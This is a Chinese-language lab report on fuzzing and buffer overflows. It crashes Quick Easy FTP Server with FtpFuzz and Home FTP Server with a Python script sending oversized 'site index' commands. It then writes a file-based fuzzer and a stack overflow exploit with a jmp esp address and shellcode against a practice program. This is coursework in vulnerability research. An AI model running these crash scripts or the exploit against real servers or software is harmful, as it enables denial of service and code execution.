漏洞挖掘与模糊测试实验

实验目的

  1. 了解 fuzz 的基本原理;
  2. 通过 FtpFuzzfuzz easy ftp server 的服务器,使服务器停止工作;
  3. 自己编写或修改 Python 脚本来自己编写 FTP FUZZ 简单工具,并用其来对 Home Ftp Server 进行 Fuzz, 使服务器停止工作,可以用 OllyDbg 附加查看异常。

实验环境

软件 版本
服务器端 Win 2000
客户端 Win 2000
Quick Easy Ftp Server 3.1 Lite
Infigo FTPStress Fuzzer V1.0
Home Ftp Server 1.10.1

通过 FtpFuzzfuzz easy ftp server 的服务器,使服务器停止工作

  1. 使用 Quick’n Easy FTP server 搭建服务器,开放匿名用户

  2. 设置 FTP 的目录

  3. 开放 Download 权限,并启动服务器

  4. 打开 ftpfuzzexe 文件,进行服务器的 FUZZ

  5. 左下角下拉框选择 Deselect All,然后在 USER 选项和 PASS 选项中的 Command Argument 中填入 anonymous,在 LIST 选项中选中 fuzz this ftp command 选项

  6. 点击 config 菜单,在 Fuzzing data 中设定要设置的脏数据

  7. 设置 FTP 主机的 IP 地址,点击 start 开始 fuzz

  8. 启动 fuzzer 后可以观察到相关的信息

  9. 红字的部分说明了已经 fuzz 成功,FTP 服务器因脏数据而崩溃

  10. 打开 FTP 主机的情况,发现的确崩溃,fuzz 生效

编写或修改 Python 脚本来自己编写 FTP FUZZ 简单工具,并用其来对 Home Ftp Server 进行 Fuzz, 使服务器停止工作

  1. 打开 Home FTP Server 程序,点击 New Member 创建新成员,填入相关信息:User name: Levi ; Password: root

  2. 启动 Home FTP Server,在 URL 中输入:ftp://10.122.237.117/,并使用用户名和密码登录后显示如下,说明服务器正常运行

  3. 编写 fuzz.py 文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    import socket,sys
    def ftp(ip,port,user,passwd):
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) //建立socket连接
    try:
    connect=s.connect((ip,port)) //连接主机
    print '[+] Connected!'
    except:
    print '[!] Connected failed!'
    exit(0)
    print s.recv(1024)
    s.send('USER %s\r\n'%user) //发送用户名
    print s.recv(1024)
    s.send('PASS %s\r\n'%passwd) //发送密码
    print s.recv(1024)
    print "[+] Sending payload..."
    s.send('site index '+'a'*272*1+'\r\n') //发送脏数据
    s.send('site index '+'a'*272*2+'\r\n') //发送脏数据(发送一次无法实现服务器崩溃)
    try:
    print s.recv(1024)
    print 'failed' //出现异常说明可能出现了漏洞
    except:
    print 'succeed'
    s.close()

    if __name__ == '__main__':
    ftp('127.0.0.1',21,'Levi','root')

  4. 运行 fuzz.py 脚本,查看运行结果,显示 failed 说明无法访问服务器,返回的数据是发送的脏数据

  5. 查看服务器,发现服务器已经停止运行

  6. 查看服务器日志,连续收到多次脏数据后直接退出

  7. HomeFtpServer.exe 放进 Ollydbg 中,重新执行 fuzz 程序,获得程序崩溃信息,跳转到 kernel32.77E99ED8 处时发生异常

测试结论

​ 使用现成的 fuzz 攻击程序对目标主机进行 fuzz 攻击,可以使得 FTP 服务器崩溃;通过编写的 fuzz 源代码,也可以通过连接目标主机并发送脏数据包实现 fuzz 攻击,达到让目标服务器崩溃的效果,通过 ollydbg 分析该过程时,只能找到程序崩溃的位置,并没有找到程序崩溃的原因,虽然理论上是重复插入了相同的数据导致 FTP 服务器异常。

思考题

开发一个针对文件溢出的目标程序的 fuzz 程序,使目标程序崩溃。要求生成攻击测试文件并通过程序自动加载,并确定从哪个文件开始出现程序崩溃,给出被攻击缓冲区实际大小,并植入一个 shellcode(功能不限)

  1. 使用 IDA 打开程序,反汇编得到反汇编代码,分析反汇编代码,发现 overflow_exe.exe 实现的功能是读取 password.txt 中的内容,与实现设定的正确密码 1234567 进行对比,若相同则输出 incorrect password!,不同则输出 Congratulation! You have passed the verification!

  2. 运行程序,验证步骤一

  3. 编写源代码,计算缓冲区大小

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    import os

    rpwd = "Congratulation! You have passed the verification!\n"
    wpwd = "incorrect password!\n"

    i = 1
    while i < 100:
    fp = open("password.txt","w+")
    fp.write("aaaa"*i*100)
    fp.close()
    p = os.popen("overflow_exe.exe")
    text = p.readlines()
    string = "".join(text)
    if string == rpwd or string == wpwd:
    i+=1
    else:
    break

    print "程序运行大约%d次后崩溃!"%(i*4*100)

    j = 1
    while j < 100:
    fp = open("password.txt","w+")
    fp.write("aaaa"*(i-1)*100+"aaaa"*j*10)
    fp.close()
    p = os.popen("overflow_exe.exe")
    text = p.readlines()
    string = "".join(text)
    if string == rpwd or string == wpwd:
    j+=1
    else:
    break

    print "程序运行大约%d次后崩溃!"%((i-1)*4*100+j*4*10)

    t = 1
    while t < 100:
    fp = open("password.txt","w+")
    fp.write("aaaa"*(i-1)*100+"aaaa"*(j-1)*10+"a"*t)
    fp.close()
    p = os.popen("overflow_exe.exe")
    text = p.readlines()
    string = "".join(text)
    if string == rpwd or string == wpwd:
    t+=1
    else:
    break

    print "程序运行%d次后崩溃!"%((i-1)*4*100+(j-1)*4*10+t)
  4. 运行脚本,得到缓冲区大小为 8197

  5. 构造 shellcode,先输入 8200 个脏数据,构造 shellcode 后程序如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    import os

    rpwd = "Congratulation! You have passed the verification!\n"
    wpwd = "incorrect password!\n"

    i = 1
    while i < 100:
    fp = open("password.txt","w+")
    fp.write("aaaa"*i*100)
    fp.close()
    p = os.popen("overflow_exe.exe")
    text = p.readlines()
    string = "".join(text)
    if string == rpwd or string == wpwd:
    i+=1
    else:
    break

    print "程序运行大约%d次后崩溃!"%(i*4*100)

    j = 1
    while j < 100:
    fp = open("password.txt","w+")
    fp.write("aaaa"*(i-1)*100+"aaaa"*j*10)
    fp.close()
    p = os.popen("overflow_exe.exe")
    text = p.readlines()
    string = "".join(text)
    if string == rpwd or string == wpwd:
    j+=1
    else:
    break

    print "程序运行大约%d次后崩溃!"%((i-1)*4*100+j*4*10)

    t = 1
    while t < 100:
    fp = open("password.txt","w+")
    fp.write("aaaa"*(i-1)*100+"aaaa"*(j-1)*10+"a"*t)
    fp.close()
    p = os.popen("overflow_exe.exe")
    text = p.readlines()
    string = "".join(text)
    if string == rpwd or string == wpwd:
    t+=1
    else:
    break

    print "程序运行%d次后崩溃!"%((i-1)*4*100+(j-1)*4*10+t)

    jmp_esp = "\x8B\x94\xF8\x77"
    shellcode = "\x33\xDB\x53\x68\x31\x32\x33\x34\x68\x41\x42\x43\x44\x8B\xC4\x53\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90"

    fp = open("password.txt","w+")
    fp.write("aaaa"*(i-1)*100 + "aaaa"*(j-1)*10 + "a"*t + "a"*3 + jmp_esp + shellcode)
    fp.close()
    p = os.popen("overflow_exe.exe")
  6. 运行 python 脚本,植入 shellcode 成功

  7. 最终生成的 password.txt 文件如下